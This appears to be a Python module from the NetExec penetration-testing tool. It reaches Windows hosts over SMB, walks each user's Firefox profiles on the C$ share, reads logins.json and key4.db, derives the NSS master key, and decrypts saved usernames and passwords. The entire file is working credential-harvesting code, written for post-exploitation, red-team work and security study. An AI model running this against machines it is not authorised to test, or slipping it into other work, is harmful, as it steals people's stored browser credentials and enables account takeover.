NetExec/cme/protocols/smb/firefox.py

283 lines
10 KiB
Python

#!/usr/bin/env python3
from base64 import b64decode
from binascii import unhexlify
from hashlib import pbkdf2_hmac, sha1
import hmac
import json
import ntpath
import sqlite3
import tempfile
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.smb import DPLootSMBConnection
CKA_ID = unhexlify("f8000000000000000000000000000001")
class FirefoxData:
def __init__(self, winuser: str, url: str, username: str, password: str):
self.winuser = winuser
self.url = url
self.username = username
self.password = password
class FirefoxTriage:
"""
Firefox by @zblurx
Inspired by firefox looting from DonPAPI
https://github.com/login-securite/DonPAPI
"""
firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
share = "C$"
false_positive = [
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
]
def __init__(self, target, logger, conn: DPLootSMBConnection = None):
self.target = target
self.logger = logger
self.conn = conn
def upgrade_connection(self, connection=None):
self.conn = DPLootSMBConnection(self.target)
if connection is not None:
self.conn.smb_session = connection
else:
self.conn.connect()
def run(self):
if self.conn is None:
self.upgrade_connection()
firefox_data = []
# list users
users = self.get_users()
for user in users:
try:
directories = self.conn.remote_list_dir(
share=self.share, path=self.firefox_generic_path.format(user)
)
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.debug(e)
if directories is None:
continue
for d in [
d
for d in directories
if d.get_longname() not in self.false_positive and d.is_directory() > 0
]:
try:
logins_path = (
self.firefox_generic_path.format(user)
+ "\\"
+ d.get_longname()
+ "\\logins.json"
)
logins_data = self.conn.readFile(self.share, logins_path)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = (
self.firefox_generic_path.format(user)
+ "\\"
+ d.get_longname()
+ "\\key4.db"
)
key4_data = self.conn.readFile(
self.share, key4_path, bypass_shared_violation=True
)
if key4_data is None:
continue
key = self.get_key(key4_data=key4_data)
if key is None and self.target.password != "":
key = self.get_key(
key4_data=key4_data,
master_password=self.target.password.encode(),
)
if key is None:
continue
for username, pwd, host in logins:
decoded_username = self.decrypt(
key=key, iv=username[1], ciphertext=username[2]
).decode("utf-8")
password = self.decrypt(
key=key, iv=pwd[1], ciphertext=pwd[2]
).decode("utf-8")
if password is not None and decoded_username is not None:
firefox_data.append(
FirefoxData(
winuser=user,
url=host,
username=decoded_username,
password=password,
)
)
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
print(e)
self.logger.debug(e)
return firefox_data
def get_login_data(self, logins_data):
logins = []
json_logins = json.loads(logins_data)
if "logins" not in json_logins:
return logins # No logins key in logins.json file
for row in json_logins["logins"]:
logins.append(
(
self.decode_login_data(row["encryptedUsername"]),
self.decode_login_data(row["encryptedPassword"]),
row["hostname"],
)
)
return logins
def get_key(self, key4_data, master_password=b""):
fh = tempfile.NamedTemporaryFile()
fh.write(key4_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = next(cursor)
if row:
global_salt, master_password, _ = self.is_master_password_correct(
key_data=row, master_password=master_password
)
if global_salt:
try:
cursor.execute("SELECT a11,a102 FROM nssPrivate;")
for row in cursor:
if row[0]:
break
a11 = row[0]
a102 = row[1]
if a102 == CKA_ID:
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(
decoded_a11, master_password, global_salt
)
if key is not None:
fh.close()
return key[:24]
except Exception as e:
self.logger.debug(e)
fh.close()
return b""
fh.close()
def is_master_password_correct(self, key_data, master_password=b""):
try:
entry_salt = b""
global_salt = key_data[0] # Item1
item2 = key_data[1]
decoded_item2 = decoder.decode(item2)
cleartext_data = self.decrypt_3des(
decoded_item2, master_password, global_salt
)
if cleartext_data != "password-check\x02\x02".encode():
return "", "", ""
return global_salt, master_password, entry_salt
except Exception as e:
self.logger.debug(e)
return "", "", ""
def get_users(self):
users = list()
users_dir_path = "Users\\*"
directories = self.conn.listPath(
shareName=self.share, path=ntpath.normpath(users_dir_path)
)
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname())
return users
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
return (
asn1data[0][0].asOctets(),
asn1data[0][1][1].asOctets(),
asn1data[0][2].asOctets(),
)
@staticmethod
def decrypt(key, iv, ciphertext):
"""
Decrypt ciphered data (user / password) using the key previously found
"""
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
data = cipher.decrypt(ciphertext)
nb = data[-1]
try:
return data[:-nb]
except Exception:
return data
@staticmethod
def decrypt_3des(decoded_item, master_password, global_salt):
"""
User master key is also encrypted (if provided, the master_password could be used to encrypt it)
"""
# See http://www.drh-consultancy.demon.co.uk/key3.html
pbeAlgo = str(decoded_item[0][0][0])
if pbeAlgo == "1.2.840.113549.1.12.5.1.3": # pbeWithSha1AndTripleDES-CBC
entry_salt = decoded_item[0][0][1][0].asOctets()
cipher_t = decoded_item[0][1].asOctets()
# See http://www.drh-consultancy.demon.co.uk/key3.html
hp = sha1(global_salt + master_password).digest()
pes = entry_salt + "\x00".encode() * (20 - len(entry_salt))
chp = sha1(hp + entry_salt).digest()
k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
tk = hmac.new(chp, pes, sha1).digest()
k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
k = k1 + k2
iv = k[-8:]
key = k[:24]
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
return cipher.decrypt(cipher_t)
elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2
assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12"
assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9"
assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42"
# https://tools.ietf.org/html/rfc8018#page-23
entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
iteration_count = int(decoded_item[0][0][1][0][1][1])
key_length = int(decoded_item[0][0][1][0][1][2])
assert key_length == 32
k = sha1(global_salt + master_password).digest()
key = pbkdf2_hmac(
"sha256", k, entry_salt, iteration_count, dklen=key_length
)
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets()
# 04 is OCTETSTRING, 0x0e is length == 14
encrypted_value = decoded_item[0][1].asOctets()
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted_value)
if decrypted is not None:
return decrypted
else:
return None